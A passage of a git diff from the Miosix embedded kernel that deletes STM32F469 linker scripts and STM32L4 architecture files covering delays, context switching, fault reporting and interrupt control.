*(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > smallram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > smallram - _bss_end = .; - - /*_end = .;*/ - /*PROVIDE(end = .);*/ -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/stm32_2m+16m_xram_processes_and_kernel.ld b/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/stm32_2m+16m_xram_processes_and_kernel.ld deleted file mode 100644 index e713d2a86..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/stm32_2m+16m_xram_processes_and_kernel.ld +++ /dev/null @@ -1,182 +0,0 @@ -/* - * C++ enabled linker script for stm32 (2M FLASH, 384K RAM, 16M XRAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This chip has an unusual quirk that the RAM is divided in two block mapped - * at two non contiguous memory addresses. I don't know why they've done that, - * probably doing the obvious thing would have made writing code too easy... - * Anyway, since hardware can't be changed, we've got to live with that and - * try to make use of both RAMs. - * On top of that the board does not boot if the stack is placed in the small - * RAM, which is even more puzzling. - * - * Given the constraints above, this linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the "large" 320KB RAM - * - stacks and heap in the "large" 128KB RAM. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into the bottom 512KB of the xram */ -_heap_end = 0xc0080000; -/* Mapping the process pool into the rest of the xram */ -_process_pool_start = _heap_end; -_process_pool_end = 0xc1000000; - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M - smallram(wx) : ORIGIN = 0x10000000, LENGTH = 64K - /* - * Note, the large ram starts at 0x20000000 but it is necessary to add the - * size of the main stack, so it is 0x20000200. - */ - largeram(wx) : ORIGIN = 0x20000200, LENGTH = 320K-0x200 - xram(wx) : ORIGIN = 0xc0000000, LENGTH = 16M -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > xram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > xram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/stm32_2m+384k_rom.ld b/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/stm32_2m+384k_rom.ld deleted file mode 100644 index a8f78e660..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f469ni_stm32f469i-disco/stm32_2m+384k_rom.ld +++ /dev/null @@ -1,179 +0,0 @@ -/* - * C++ enabled linker script for stm32 (2M FLASH, 384K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This chip has an unusual quirk that the RAM is divided in two block mapped - * at two non contiguous memory addresses. I don't know why they've done that, - * probably doing the obvious thing would have made writing code too easy... - * Anyway, since hardware can't be changed, we've got to live with that and - * try to make use of both RAMs. - * On top of that the board does not boot if the stack is placed in the small - * RAM, which is even more puzzling. - * - * Given the constraints above, this linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - .data and .bss in the "small" 64KB RAM - * - The main (IRQ) stack, thread stacks and heap in the "large" 320KB RAM. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into the large 320KB RAM */ -_end = 0x20000200; -_heap_end = 0x20050000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M - smallram(wx) : ORIGIN = 0x10000000, LENGTH = 64K - /* - * Note, the large ram starts at 0x20000000 but it is necessary to add the - * size of the main stack, so it is 0x20000200. - */ - largeram(wx) : ORIGIN = 0x20000200, LENGTH = 320K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > smallram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > smallram - _bss_end = .; - - /*_end = .;*/ - /*PROVIDE(end = .);*/ -} diff --git a/miosix/arch/cortexM4_stm32l4/common/arch_settings.h b/miosix/arch/cortexM4_stm32l4/common/arch_settings.h deleted file mode 100644 index 01235ec6f..000000000 --- a/miosix/arch/cortexM4_stm32l4/common/arch_settings.h +++ /dev/null @@ -1,61 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2012-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// \internal size of vector to store registers during ctx switch -/// ((10+16)*4=104Bytes). Only sp, r4-r11, EXC_RETURN and s16-s31 are saved -/// here, since r0-r3,r12,lr,pc,xPSR, old sp and s0-s15,fpscr are saved by -/// hardware on the process stack on Cortex M4F CPUs. EXC_RETURN, or the lr, -/// value to use to return from the exception is necessary to know if the -/// thread has used fp regs, as an extension specific to Cortex-M4F CPUs. -const unsigned char CTXSAVE_SIZE=10+16; - -/// \internal some architectures save part of the context on their stack. -/// ((8+17)*4=100Bytes). This constant is used to increase the stack size by -/// the size of context save frame. If zero, this architecture does not save -/// anything on stack during context save. Size is in bytes, not words. -/// 8 registers=r0-r3,r12,lr,pc,xPSR -/// 17 registers=s0-s15,fpscr -/// MUST be divisible by 4. -const unsigned int CTXSAVE_ON_STACK=(8+17)*4; - -/// \internal stack alignment for this specific architecture -const unsigned int CTXSAVE_STACK_ALIGNMENT=8; - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32l4/common/interfaces-impl/delays.cpp b/miosix/arch/cortexM4_stm32l4/common/interfaces-impl/delays.cpp deleted file mode 100644 index 434513e32..000000000 --- a/miosix/arch/cortexM4_stm32l4/common/interfaces-impl/delays.cpp +++ /dev/null @@ -1,137 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2024 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/delays.h" - -namespace miosix { - -void delayMs(unsigned int mseconds) -{ - #ifdef SYSCLK_FREQ_80MHz - register const unsigned int count=20000; - #elif defined(SYSCLK_FREQ_56MHz) - register const unsigned int count=14000; - #elif defined(SYSCLK_FREQ_48MHz) - register const unsigned int count=12000; - #elif defined(SYSCLK_FREQ_36MHz) - register const unsigned int count=9000; - #elif defined(SYSCLK_FREQ_24MHz) - register const unsigned int count=6000; - #elif defined(HSE_VALUE) && HSE_VALUE==16000000 - register const unsigned int count=4000; - #elif defined(HSE_VALUE) && HSE_VALUE==8000000 - register const unsigned int count=2000; - #elif defined(RUN_WITH_HSI) - register const unsigned int count=4000; - #elif defined(RUN_WITH_MSI) - register const unsigned int count=1000; - #else - #error "Delays are uncalibrated for this clock frequency" - #endif - - for(unsigned int i=0;i * - ***************************************************************************/ - -#ifndef GPIO_IMPL_H -#define GPIO_IMPL_H - -#include "drivers/stm32_gpio.h" - -#endif //GPIO_IMPL_H diff --git a/miosix/arch/cortexM4_stm32l4/common/interfaces-impl/portability.cpp b/miosix/arch/cortexM4_stm32l4/common/interfaces-impl/portability.cpp deleted file mode 100644 index 02b3b8427..000000000 --- a/miosix/arch/cortexM4_stm32l4/common/interfaces-impl/portability.cpp +++ /dev/null @@ -1,252 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#include "interfaces/portability.h" -#include "kernel/kernel.h" -#include "kernel/error.h" -#include "interfaces/bsp.h" -#include "kernel/scheduler/scheduler.h" -#include "core/interrupts.h" -#include "kernel/process.h" -#include -#include -#include -#include - -/** - * \internal - * software interrupt routine. - * Since inside naked functions only assembler code is allowed, this function - * only calls the ctxsave/ctxrestore macros (which are in assembler), and calls - * the implementation code in ISR_yield() - */ -void SVC_Handler() __attribute__((naked)); -void SVC_Handler() -{ - saveContext(); - //Call ISR_yield(). Name is a C++ mangled name. - asm volatile("bl _ZN14miosix_private9ISR_yieldEv"); - restoreContext(); -} - -namespace miosix_private { - -/** - * \internal - * Called by the software interrupt, yield to next thread - * Declared noinline to avoid the compiler trying to inline it into the caller, - * which would violate the requirement on naked functions. Function is not - * static because otherwise the compiler optimizes it out... - */ -void ISR_yield() __attribute__((noinline)); -void ISR_yield() -{ - #ifdef WITH_PROCESSES - // WARNING: Temporary fix. Rationale: - // This fix is intended to avoid kernel or process faulting due to - // another process actions. Consider the case in which a process statically - // allocates a big array such that there is no space left for saving - // context data. If the process issues a system call, in the following - // interrupt the context is saved, but since there is no memory available - // for all the context data, a mem manage interrupt is set to 'pending'. Then, - // a fake syscall is issued, based on the value read on the stack (which - // the process hasn't set due to the memory fault and is likely to be 0); - // this syscall is usually a yield (due to the value of 0 above), - // which can cause the scheduling of the kernel thread. At this point, - // the pending mem fault is issued from the kernel thread, causing the - // kernel fault and reboot. This is caused by the mem fault interrupt - // having less priority of the other interrupts. - // This fix checks if there is a mem fault interrupt pending, and, if so, - // it clears it and returns before calling the previously mentioned fake - // syscall. - if(SCB->SHCSR & (1<<13)) - { - if(miosix::Thread::IRQreportFault(miosix_private::FaultData( - fault::MP,0,0))) - { - SCB->SHCSR &= ~(1<<13); //Clear MEMFAULTPENDED bit - return; - } - } - #endif // WITH_PROCESSES - miosix::Thread::IRQstackOverflowCheck(); - - #ifdef WITH_PROCESSES - //If processes are enabled, check the content of r3. If zero then it - //it is a simple yield, otherwise handle the syscall - //Note that it is required to use ctxsave and not cur->ctxsave because - //at this time we do not know if the active context is user or kernel - unsigned int threadSp=ctxsave[0]; - unsigned int *processStack=reinterpret_cast(threadSp); - if(processStack[3]!=static_cast(miosix::Syscall::YIELD)) - miosix::Thread::IRQhandleSvc(processStack[3]); - else miosix::Scheduler::IRQfindNextThread(); - #else //WITH_PROCESSES - miosix::Scheduler::IRQfindNextThread(); - #endif //WITH_PROCESSES -} - -void IRQsystemReboot() -{ - NVIC_SystemReset(); -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), unsigned int *sp, - void *argv) -{ - unsigned int *stackPtr=sp; - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast( - &miosix::Thread::threadLauncher); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=0; stackPtr--; //--> r3 - *stackPtr=0; stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argv); stackPtr--; //--> r1 - *stackPtr=reinterpret_cast(pc); //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - //leaving the content of r4-r11 uninitialized - ctxsave[9]=0xfffffffd; //EXC_RETURN=thread mode, use psp, no floating ops - //leaving the content of s16-s31 uninitialized -} - -#ifdef WITH_PROCESSES - -// -// class FaultData -// - -void FaultData::print() const -{ - using namespace fault; - switch(id) - { - case MP: - iprintf("* Attempted data access @ 0x%x (PC was 0x%x)\n",arg,pc); - break; - case MP_NOADDR: - iprintf("* Invalid data access (PC was 0x%x)\n",pc); - break; - case MP_XN: - iprintf("* Attempted instruction fetch @ 0x%x\n",pc); - break; - case UF_DIVZERO: - iprintf("* Dvide by zero (PC was 0x%x)\n",pc); - break; - case UF_UNALIGNED: - iprintf("* Unaligned memory access (PC was 0x%x)\n",pc); - break; - case UF_COPROC: - iprintf("* Attempted coprocessor access (PC was 0x%x)\n",pc); - break; - case UF_EXCRET: - iprintf("* Invalid exception return sequence (PC was 0x%x)\n",pc); - break; - case UF_EPSR: - iprintf("* Attempted access to the EPSR (PC was 0x%x)\n",pc); - break; - case UF_UNDEF: - iprintf("* Undefined instruction (PC was 0x%x)\n",pc); - break; - case UF_UNEXP: - iprintf("* Unexpected usage fault (PC was 0x%x)\n",pc); - break; - case HARDFAULT: - iprintf("* Hardfault (PC was 0x%x)\n",pc); - break; - case BF: - iprintf("* Busfault @ 0x%x (PC was 0x%x)\n",arg,pc); - break; - case BF_NOADDR: - iprintf("* Busfault (PC was 0x%x)\n",pc); - break; - case STACKOVERFLOW: - iprintf("* Stack overflow\n"); - break; - } -} - -void initCtxsave(unsigned int *ctxsave, void *(*pc)(void *), int argc, - void *argvSp, void *envp, unsigned int *gotBase, unsigned int *heapEnd) -{ - unsigned int *stackPtr=reinterpret_cast(argvSp); - stackPtr--; //Stack is full descending, so decrement first - *stackPtr=0x01000000; stackPtr--; //--> xPSR - *stackPtr=reinterpret_cast(pc); stackPtr--; //--> pc - *stackPtr=0xffffffff; stackPtr--; //--> lr - *stackPtr=0; stackPtr--; //--> r12 - *stackPtr=reinterpret_cast(heapEnd); stackPtr--; //--> r3 - *stackPtr=reinterpret_cast(envp); stackPtr--; //--> r2 - *stackPtr=reinterpret_cast(argvSp); stackPtr--; //--> r1 - *stackPtr=argc; //--> r0 - - ctxsave[0]=reinterpret_cast(stackPtr); //--> psp - ctxsave[6]=reinterpret_cast(gotBase); //--> r9 - //leaving the content of r4-r8,r10-r11 uninitialized - ctxsave[9]=0xfffffffd; //EXC_RETURN=thread mode, use psp, no floating ops - //leaving the content of s16-s31 uninitialized -} - -#endif //WITH_PROCESSES - -void IRQportableStartKernel() -{ - //Enable fault handlers - SCB->SHCSR |= SCB_SHCSR_USGFAULTENA_Msk | SCB_SHCSR_BUSFAULTENA_Msk - | SCB_SHCSR_MEMFAULTENA_Msk; - //Enable traps for division by zero. Trap for unaligned memory access - //was removed as gcc starting from 4.7.2 generates unaligned accesses by - //default (https://www.gnu.org/software/gcc/gcc-4.7/changes.html) - SCB->CCR |= SCB_CCR_DIV_0_TRP_Msk; - NVIC_SetPriorityGrouping(7);//This should disable interrupt nesting - NVIC_SetPriority(SVCall_IRQn,3);//High priority for SVC (Max=0, min=15) - NVIC_SetPriority(MemoryManagement_IRQn,2);//Higher priority for MemoryManagement (Max=0, min=15) - - #ifdef WITH_PROCESSES - miosix::IRQenableMPUatBoot(); - #endif //WITH_PROCESSES - - //create a temporary space to save current registers. This data is useless - //since there's no way to stop the sheduler, but we need to save it anyway. - unsigned int s_ctxsave[miosix::CTXSAVE_SIZE]; - ctxsave=s_ctxsave;//make global ctxsave point to it - //Note, we can't use enableInterrupts() now since the call is not matched - //by a call to disableInterrupts() - __enable_fault_irq(); - __enable_irq(); - miosix::Thread::yield(); - //Never reaches here -} - -void sleepCpu() -{ - __WFI(); -} - -} //namespace miosix_private diff --git a/miosix/arch/cortexM4_stm32l4/common/interfaces-impl/portability_impl.h b/miosix/arch/cortexM4_stm32l4/common/interfaces-impl/portability_impl.h deleted file mode 100644 index aa5c73842..000000000 --- a/miosix/arch/cortexM4_stm32l4/common/interfaces-impl/portability_impl.h +++ /dev/null @@ -1,208 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010, 2011, 2012 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ -//Miosix kernel - -#ifndef PORTABILITY_IMPL_H -#define PORTABILITY_IMPL_H - -#include "interfaces/arch_registers.h" -#include "interfaces/portability.h" -#include "config/miosix_settings.h" -#include - -/** - * \addtogroup Drivers - * \{ - */ - -/* - * This pointer is used by the kernel, and should not be used by end users. - * this is a pointer to a location where to store the thread's registers during - * context switch. It requires C linkage to be used inside asm statement. - * Registers are saved in the following order: - * *ctxsave+100 --> s31 - * ... - * *ctxsave+40 --> s16 - * *ctxsave+36 --> lr (contains EXC_RETURN whose bit #4 tells if fpu is used) - * *ctxsave+32 --> r11 - * *ctxsave+28 --> r10 - * *ctxsave+24 --> r9 - * *ctxsave+20 --> r8 - * *ctxsave+16 --> r7 - * *ctxsave+12 --> r6 - * *ctxsave+8 --> r5 - * *ctxsave+4 --> r4 - * *ctxsave+0 --> psp - */ -extern "C" { -extern volatile unsigned int *ctxsave; -} -const int stackPtrOffsetInCtxsave=0; ///< Allows to locate the stack pointer - -/** - * \internal - * \def saveContext() - * Save context from an interrupt
- * Must be the first line of an IRQ where a context switch can happen. - * The IRQ must be "naked" to prevent the compiler from generating context save. - * - * A note on the dmb instruction, without it a race condition was observed - * between pauseKernel() and IRQfindNextThread(). pauseKernel() uses an strex - * instruction to store a value in the global variable kernel_running which is - * tested by the context switch code in IRQfindNextThread(). Without the memory - * barrier IRQfindNextThread() would occasionally read the previous value and - * perform a context switch while the kernel was paused, leading to deadlock. - * The failure was only observed within the exception_test() in the testsuite - * running on the stm32f429zi_stm32f4discovery. - */ -#define saveContext() \ - asm volatile(" mrs r1, psp \n"/*get PROCESS stack ptr */ \ - " ldr r0, =ctxsave \n"/*get current context */ \ - " ldr r0, [r0] \n" \ - " stmia r0!, {r1,r4-r11,lr} \n"/*save r1(psp),r4-r11,lr */ \ - " lsls r2, lr, #27 \n"/*check if bit #4 is set */ \ - " bmi 0f \n" \ - " vstmia.32 r0, {s16-s31} \n"/*save s16-s31 if we need*/ \ - "0: dmb \n" \ - ); - -/** - * \def restoreContext() - * Restore context in an IRQ where saveContext() is used. Must be the last line - * of an IRQ where a context switch can happen. The IRQ must be "naked" to - * prevent the compiler from generating context restore. - */ -#define restoreContext() \ - asm volatile(" ldr r0, =ctxsave \n"/*get current context */ \ - " ldr r0, [r0] \n" \ - " ldmia r0!, {r1,r4-r11,lr} \n"/*load r1(psp),r4-r11,lr */ \ - " lsls r2, lr, #27 \n"/*check if bit #4 is set */ \ - " bmi 0f \n" \ - " vldmia.32 r0, {s16-s31} \n"/*restore s16-s31 if need*/ \ - "0: msr psp, r1 \n"/*restore PROCESS sp*/ \ - " bx lr \n"/*return*/ \ - ); -/** - * \} - */ - -namespace miosix_private { - -/** - * \addtogroup Drivers - * \{ - */ - -inline void doYield() -{ - asm volatile("movs r3, #0\n\t" - "svc 0" - :::"r3"); -} - -inline void doDisableInterrupts() -{ - // Documentation says __disable_irq() disables all interrupts with - // configurable priority, so also SysTick and SVC. - // No need to disable faults with __disable_fault_irq() - __disable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline void doEnableInterrupts() -{ - __enable_irq(); - //The new fastDisableInterrupts/fastEnableInterrupts are inline, so there's - //the need for a memory barrier to avoid aggressive reordering - asm volatile("":::"memory"); -} - -inline bool checkAreInterruptsEnabled() -{ - register int i; - asm volatile("mrs %0, primask \n\t":"=r"(i)); - if(i!=0) return false; - return true; -} - -#ifdef WITH_PROCESSES - -namespace { -/* - * ARM syscall 